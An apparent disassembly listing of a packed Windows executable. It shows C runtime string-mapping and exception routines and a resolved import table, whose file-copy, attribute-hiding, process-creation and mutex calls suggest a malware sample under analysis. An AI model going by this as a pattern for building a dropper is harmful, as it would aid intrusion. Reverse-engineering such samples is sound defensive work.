		push	offset nullsub_1
		call	sub_41D810
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_426FB4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426FF6	proc near		; CODE XREF: sub_40CCA2+5Ep
					; sub_40F23F+148p ...
		jmp	dword_42822C
sub_426FF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426FFC	proc near		; CODE XREF: sub_41D0A0+23p
					; sub_41D344+13p
		jmp	dword_4281A0
sub_426FFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_427002	proc near		; CODE XREF: sub_4177CF+E2p
					; sub_4177CF+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DE0EC, 0
		push	ebx
		jnz	short loc_427048
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_427014:				; CODE XREF: sub_427002+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_427026
		cmp	bx, 41h
		jb	short loc_427026
		add	ebx, 20h


loc_427026:				; CODE XREF: sub_427002+19j
					; sub_427002+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_427038
		cmp	ax, 41h
		jb	short loc_427038
		add	eax, 20h


loc_427038:				; CODE XREF: sub_427002+2Bj
					; sub_427002+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_427078
		cmp	bx, ax
		jz	short loc_427014
		jmp	short loc_427078
; ---------------------------------------------------------------------------


loc_427048:				; CODE XREF: sub_427002+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_427052:				; CODE XREF: sub_427002+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4271B3
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4271B3
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_427076
		cmp	bx, ax
		jz	short loc_427052


loc_427076:				; CODE XREF: sub_427002+6Dj
		pop	edi
		pop	esi


loc_427078:				; CODE XREF: sub_427002+3Dj
					; sub_427002+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_427002	endp


; =============== S U B	R O U T	I N E =======================================



sub_427082	proc near		; DATA XREF: .packed:off_428D70o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_427125
		test	[esp+4+arg_0], 1
		jz	short loc_427098
		push	esi
		call	sub_41D453
		pop	ecx


loc_427098:				; CODE XREF: sub_427082+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427082	endp


; =============== S U B	R O U T	I N E =======================================



sub_42709E	proc near		; CODE XREF: sub_426CFA+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_428D70
		push	dword ptr [edi]
		call	sub_41B7B0
		inc	eax
		push	eax
		call	sub_41D795
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4270CD
		push	dword ptr [edi]
		push	eax
		call	sub_41C680
		pop	ecx
		pop	ecx


loc_4270CD:				; CODE XREF: sub_42709E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42709E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4270DB	proc near		; CODE XREF: sub_426DE1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_428D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_427118
		push	dword ptr [edi+4]
		call	sub_41B7B0
		inc	eax
		push	eax
		call	sub_41D795
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42711E
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C680
		pop	ecx
		pop	ecx
		jmp	short loc_42711E
; ---------------------------------------------------------------------------


loc_427118:				; CODE XREF: sub_4270DB+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42711E:				; CODE XREF: sub_4270DB+2Ej
					; sub_4270DB+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4270DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_427125	proc near		; CODE XREF: sub_426D88+2Bp
					; sub_426E3E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_428D70
		jz	short locret_42713A
		push	dword ptr [ecx+4]
		call	sub_41D453
		pop	ecx

locret_42713A:				; CODE XREF: sub_427125+Aj
		retn
sub_427125	endp


; =============== S U B	R O U T	I N E =======================================



sub_42713B	proc near		; DATA XREF: .packed:00428D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_427147
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_427147:				; CODE XREF: sub_42713B+5j
		retn
sub_42713B	endp


; =============== S U B	R O U T	I N E =======================================



sub_427148	proc near		; CODE XREF: .packed:00427160p
		mov	dword ptr [ecx], offset	off_428D90
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_42715C
		push	ecx
		call	sub_41B881
		pop	ecx

locret_42715C:				; CODE XREF: sub_427148+Bj
		retn
sub_427148	endp

; ---------------------------------------------------------------------------


loc_42715D:				; DATA XREF: .packed:off_428D90o
		push	esi
		mov	esi, ecx
		call	sub_427148
		test	byte ptr [esp+8], 1
		jz	short loc_427173
		push	esi
		call	sub_41D453
		pop	ecx


loc_427173:				; CODE XREF: .packed:0042716Aj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427179	proc near		; CODE XREF: sub_426CA0+54p
					; sub_426D6B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_428D98
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_42805C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_427179	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4271B3	proc near		; CODE XREF: sub_427002+56p
					; sub_427002+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4271C5
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4271C5:				; CODE XREF: sub_4271B3+Bj
		cmp	dword_4DE0EC, 0
		jnz	short loc_4271DF
		cmp	ax, 41h
		jb	short locret_427226
		cmp	ax, 5Ah
		ja	short locret_427226
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4271DF:				; CODE XREF: sub_4271B3+19j
		cmp	ax, 100h
		jnb	short loc_4271F9
		push	1
		push	eax
		call	sub_427461
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4271F9
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_4271F9:				; CODE XREF: sub_4271B3+30j
					; sub_4271B3+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DE0EC
		call	sub_427228
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_427226
		mov	ax, [ebp+var_2]

locret_427226:				; CODE XREF: sub_4271B3+1Fj
					; sub_4271B3+25j ...
		leave
		retn
sub_4271B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427228	proc near		; CODE XREF: sub_4271B3+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428DB8
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DE344, esi
		jnz	short loc_42729E
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_428948
		mov	edi, 100h
		push	edi
		push	esi
		call	dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_42727C
		mov	dword_4DE344, ebx
		jmp	short loc_42729E
; ---------------------------------------------------------------------------


loc_42727C:				; CODE XREF: sub_427228+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CDB1C
		push	edi
		push	esi
		call	dword_428054	; LCMapStringA
		test	eax, eax
		jz	loc_42741D
		mov	dword_4DE344, 2


loc_42729E:				; CODE XREF: sub_427228+2Ej
					; sub_427228+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4272B3
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_427431
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4272B3:				; CODE XREF: sub_427228+79j
		mov	eax, dword_4DE344
		cmp	eax, 1
		jnz	short loc_4272DA
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428050	; LCMapStringW
		jmp	loc_42741F
; ---------------------------------------------------------------------------


loc_4272DA:				; CODE XREF: sub_427228+93j
		cmp	eax, 2
		jnz	loc_42741D
		cmp	[ebp+arg_18], esi
		jnz	short loc_4272F0
		mov	eax, dword_4DE0FC
		mov	[ebp+arg_18], eax


loc_4272F0:				; CODE XREF: sub_427228+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_428180	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42741D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_427336
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_427336:				; CODE XREF: sub_427228+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42741D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_428180	; WideCharToMultiByte
		test	eax, eax
		jz	loc_42741D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428054	; LCMapStringA
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42741D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4273B9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4273B9:				; CODE XREF: sub_427228+17Dj
		cmp	ebx, esi
		jz	short loc_42741D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428054	; LCMapStringA
		test	eax, eax
		jz	short loc_42741D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4273F7
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_427419
		cmp	eax, edi
		jl	short loc_4273E8
		mov	eax, edi


loc_4273E8:				; CODE XREF: sub_427228+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BDC0
		add	esp, 0Ch
		jmp	short loc_427419
; ---------------------------------------------------------------------------


loc_4273F7:				; CODE XREF: sub_427228+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_427400
		push	esi
		push	esi
		jmp	short loc_427406
; ---------------------------------------------------------------------------


loc_427400:				; CODE XREF: sub_427228+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_427406:				; CODE XREF: sub_427228+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	dword_428184	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42741D


loc_427419:				; CODE XREF: sub_427228+1B8j
					; sub_427228+1CDj
		mov	eax, edi
		jmp	short loc_42741F
; ---------------------------------------------------------------------------


loc_42741D:				; CODE XREF: sub_427228+66j
					; sub_427228+B5j ...
		xor	eax, eax


loc_42741F:				; CODE XREF: sub_427228+ADj
					; sub_427228+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_427228	endp


; =============== S U B	R O U T	I N E =======================================



sub_427431	proc near		; CODE XREF: sub_427228+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_427450


loc_427441:				; CODE XREF: sub_427431+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_427450
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_427441


loc_427450:				; CODE XREF: sub_427431+Ej
					; sub_427431+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42745E
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42745E:				; CODE XREF: sub_427431+24j
		mov	eax, edx
		retn
sub_427431	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427461	proc near		; CODE XREF: sub_4271B3+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4274A1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_427485
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43EFEC
		mov	ax, [ecx+eax*2]
		jmp	short loc_4274A8
; ---------------------------------------------------------------------------


loc_427485:				; CODE XREF: sub_427461+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4274B3
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4274A5


loc_4274A1:				; CODE XREF: sub_427461+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4274A5:				; CODE XREF: sub_427461+3Ej
		mov	eax, [ebp+var_4]


loc_4274A8:				; CODE XREF: sub_427461+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_427461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4274B3	proc near		; CODE XREF: sub_427461+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428DD0
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DE348
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_427522
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_428948
		push	esi
		call	dword_428020	; GetStringTypeW
		test	eax, eax
		jz	short loc_427500
		mov	eax, esi
		jmp	short loc_42751D
; ---------------------------------------------------------------------------


loc_427500:				; CODE XREF: sub_4274B3+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CDB1C
		push	esi
		push	edi
		call	dword_428024	; GetStringTypeA
		test	eax, eax
		jz	loc_427664
		push	2
		pop	eax


loc_42751D:				; CODE XREF: sub_4274B3+4Bj
		mov	dword_4DE348, eax


loc_427522:				; CODE XREF: sub_4274B3+2Fj
		cmp	eax, 1
		jnz	short loc_42753E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428020	; GetStringTypeW
		jmp	loc_427666
; ---------------------------------------------------------------------------


loc_42753E:				; CODE XREF: sub_4274B3+72j
		cmp	eax, 2
		jnz	loc_427664
		cmp	[ebp+arg_10], edi
		jnz	short loc_427554
		mov	eax, dword_4DE0FC
		mov	[ebp+arg_10], eax


loc_427554:				; CODE XREF: sub_4274B3+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_428180	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_427664
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4275B2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4275B2:				; CODE XREF: sub_4274B3+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_427664
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_428180	; WideCharToMultiByte
		test	eax, eax
		jz	loc_427664
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_427607
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_427607:				; CODE XREF: sub_4274B3+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_427664
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42761B
		mov	eax, dword_4DE0EC


loc_42761B:				; CODE XREF: sub_4274B3+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	dword_428024	; GetStringTypeA
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_427664
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_427664
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D460
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_427666
; ---------------------------------------------------------------------------


loc_427664:				; CODE XREF: sub_4274B3+61j
					; sub_4274B3+8Ej ...
		xor	eax, eax


loc_427666:				; CODE XREF: sub_4274B3+86j
					; sub_4274B3+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4274B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_427678	proc near		; DATA XREF: .packed:00428F74o

; FUNCTION CHUNK AT 0040D308 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D308
sub_427678	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_427696
		mov	ecx, [ebp+8]
		jmp	loc_40D308
; ---------------------------------------------------------------------------

locret_427696:				; CODE XREF: .packed:00427688j
		retn
; ---------------------------------------------------------------------------


loc_427697:				; DATA XREF: sub_40CEE3o
		mov	eax, offset dword_428F78
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D308
; ---------------------------------------------------------------------------


loc_4276AC:				; DATA XREF: .packed:00428FA0o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D308
; ---------------------------------------------------------------------------


loc_4276B4:				; DATA XREF: sub_40D082o
		mov	eax, offset dword_428FA4
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 10h


loc_4276C0:				; DATA XREF: sub_40D5E9o
		mov	eax, offset dword_428FF4
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40D308
; ---------------------------------------------------------------------------


loc_4276D4:				; DATA XREF: sub_426CA0o
		mov	eax, offset dword_429090
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		jmp	sub_427125
; ---------------------------------------------------------------------------


loc_4276E8:				; DATA XREF: sub_426CFAo
		mov	eax, offset dword_4290B8
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_427125
; ---------------------------------------------------------------------------


loc_4276FC:				; DATA XREF: sub_426D88o
		mov	eax, offset dword_429100
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_427125
; ---------------------------------------------------------------------------


loc_427710:				; DATA XREF: sub_426DE1o
		mov	eax, offset dword_429128
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_427125
; ---------------------------------------------------------------------------


loc_427724:				; DATA XREF: sub_426E3Eo
		mov	eax, offset dword_429150
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_40D308
; ---------------------------------------------------------------------------


loc_427738:				; DATA XREF: sub_426ECCo
		mov	eax, offset dword_4291B8
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_427125
; ---------------------------------------------------------------------------


loc_42774C:				; DATA XREF: sub_426F26o
		mov	eax, offset dword_4291E0
		jmp	loc_41D0EF
; ---------------------------------------------------------------------------
		align 4
		dd 22Ah	dup(0)
dword_428000	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_417322+26r
dword_428004	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableAdword_428008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_426733+261r
dword_42800C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_426733+B9r
dword_428010	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_428014	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_428018	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_42801C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_424F93+6r
dword_428020	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_424517+12Dr ...
dword_428024	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_424517+8Dr ...
dword_428028	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_42802C	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_42410C:loc_42415Fr
dword_428030	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_423BE6+166r ...
dword_428034	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_423EAD+143r
dword_428038	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_42803C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_428040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_423AB4+E1r
dword_428044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_428048	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_42804C	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_428050	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_423383+14Dr ...
dword_428054	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_423383+A7r ...
dword_428058	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_42805C	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_427179+2Er
dword_428060	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_428064	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401132+29r ...
dword_428068	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_401252+7Ar ...
dword_42806C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401252+2CCr ...
dword_428070	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_401252+2B4r ...
dword_428074	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401252+DDr ...
dword_428078	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_401252+C7r ...
dword_42807C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_401B66+72Er ...
dword_428080	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_401B66+7751r ...
dword_428084	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_4177CF+15r ...
dword_428088	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_42808C	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_401252+3D4r ...
dword_428090	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_428094	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_401252+212r ...
dword_428098	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_40FF08+10Fr ...
dword_42809C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_409A1D+2r ...
dword_4280A0	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_401252+302r ...
dword_4280A4	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_4280A8	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401B66+24C8r ...
dword_4280AC	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_40B0C8+27r ...
dword_4280B0	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_418A34+35r
dword_4280B4	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_4280B8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_409A1D:loc_409F2Br ...
dword_4280BC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_417474+60r ...
dword_4280C0	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; sub_419D4E+34r
dword_4280C4	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4280C8	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_418BBC+32r ...
dword_4280CC	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_40B71C+1ACr ...
dword_4280D0	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4280D4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4280D8	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4280DC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_40C1BE+241r
